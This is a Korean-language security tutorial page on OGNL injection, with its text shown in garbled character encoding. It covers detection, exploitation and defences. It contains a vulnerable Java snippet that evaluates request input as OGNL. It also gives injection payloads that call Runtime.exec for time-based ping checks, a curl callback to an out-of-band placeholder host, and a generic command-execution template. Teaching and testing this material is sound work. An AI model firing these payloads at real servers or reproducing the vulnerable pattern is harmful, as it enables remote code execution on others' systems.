๐ Introduction
OGNL Injection์ OGNL(Object-Graph Navigation Language)์์ ์ฝ๋๋ฅผ ์ฃผ์ ํ๋ Injection ๊ณต๊ฒฉ์ ์๋ฏธํ๋ฉฐ, OGNL ์์ฒด๊ฐ Expression Language์ ์ฑ๊ฒฉ์ ๋๊ธฐ ๋๋ฌธ์ SSTI ๋๋ EL Injection ๊ณผ ์ ์ฌํฉ๋๋ค.
OGNL
OGNL(Object-Graph Navigation Language)์ Java Application์์ ์ฌ์ฉ๋๋ Expression Language (EL) ์ค ํ๋๋ก Apache ์ชฝ ์ํํธ์จ์ด์ Java ๊ธฐ๋ฐ ์น ์ดํ๋ฆฌ์ผ์ด์ ์์ ๋ง์ด ์ฌ์ฉ๋๋ Language์ ๋๋ค.
๋ํ์ ์ผ๋ก Apache Struts2, Confluence, Atlassian, Mybatis, Apache Roller ๋ฑ์์ ์ฌ์ฉ๋ฉ๋๋ค.
๋ฌธ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ ๊ณต์ ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํด์ฃผ์ธ์.
๐ก Offensive techniques
Detect
๋ค๋ฅธ EL Injection๊ณผ ์ ์ฌํ๊ฒ OGNL Expression ๊ตฌ๋ฌธ์ ์๋ฒ๋ก ๋๊ฒจ ์ทจ์ฝ ์ฌ๋ถ๋ฅผ ์ฒดํฌํ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก sleep ๋ฑ์ ์ด์ฉํ Time-based, Callback์ ์ด์ฉํ OAST-Based๋ก ์๋ณํฉ๋๋ค.
์ทจ์ฝ/๊ณต๊ฒฉ ์ฝ๋
Vuln Code
OgnlContext ctx = new OgnlContext();
String expression = request.getParameter("input");
Object expr = Ognl.parseExpression(expression);
Object value = Ognl.getValue(expr, ctx, root);
System.out.println("Value: " + value);
Attack Code
GET /query?input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("ping -c 5 127.0.0.1")) HTTP/1.1
Host: localhost
Time-Based
POST /query
Host: localhost
input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("ping -c 5 127.0.0.1"))
ping์ด 5ํ ํธ์ถ๋๊ธฐ ๋๋ฌธ์ ์ฝ 5์ด์ ๋๋ ์ด๊ฐ ๋ฐ์ํฉ๋๋ค.
OAST-Based
POST /query
Host: localhost
input=(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("curl <OAST-SERVICE>"))
OAST-SERVICE๋ก DNS Query์ HTTP Request๊ฐ ๋์ฐฉํ๋ ๊ฒ์ ํ์ธํ์ฌ ์ฒดํฌํ ์ ์์ต๋๋ค.
Exploitation
OGNL์ Server-Side์์ Expression์ ๋ฐ๋ผ Java ํด๋์ค์ ๋ฉ์๋๋ฅผ ์คํํ ์ ์๊ธฐ ๋๋ฌธ์ ๋ณดํต RCE๋ก ์ด์ด์ง๋๋ค. ์์์ ์์ฑํ๋ ์์์ ๊ฐ์ด @java.lang.Runtime
๋ฑ์ ์ด์ฉํ์ฌ ๋ช
๋ น์ ์คํํ ์ ์์ต๋๋ค.
(#rt = @java.lang.Runtime@getRuntime(),#rt.exec("COMMANDS"))
๋ํ OGNL ์ฒ๋ฆฌ๊ฐ Java SDK๋ฅผ ํตํด Client ๊ธฐ๋ฐ Application์์ ์ด๋ฃจ์ด์ง๋ค๋ฉด, Client๋ฅผ ๋์์ผ๋ก ํ Code Execution์ด ๋ฐ์ํ ์ ์์ต๋๋ค.
๐ก Defensive techniques
๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ฉ์๊ฐ ์ ๋ฌํ ๋ฐ์ดํฐ๋ฅผ ์ ๋ขฐํ์ง ์๋ ๊ฒ์ ์์น์ผ๋ก ํฉ๋๋ค. ๊ฐ๊ธ์ ์ด๋ฉด ๋ด๋ถ์์ ๊ฐ์ ์ฒ๋ฆฌํด์ผํ๋ฉฐ ํ์ ์ ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ์ ๋ํด ์ ํํ๊ฒ ๊ฒ์ฆ ํ ์ฌ์ฉ๋์ด์ผ ํฉ๋๋ค. ์ถ๊ฐ๋ก Structs2, Confluence ๋ฑ ํ๋ ์์ํฌ๋ ์ธ๋ถ ์๋น์ค๋จ์์ ๋ฐ์ํ ์ด์๋ ํด๋น ๋ฒค๋์์ ํจ์น๊ฐ ํ์ํ๋ฉฐ ๊ฐ๊ธ์ ์ด๋ฉด ๋น ๋ฅด๊ฒ ์ ์ฉํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
๐ Articles
- https://www.hahwul.com/2016/04/28/web-hacking-apache-struts2-recremote/
- https://www.hahwul.com/2017/03/08/web-hacking-apache-struts2-remote-code/
- https://www.hahwul.com/cullinan/ssti/
- https://www.hahwul.com/cullinan/el-injection/
๐ References
- https://commons.apache.org/proper/commons-ognl/
- https://commons.apache.org/proper/commons-ognl/language-guide.html
- https://securitylab.github.com/research/ognl-injection-apache-struts/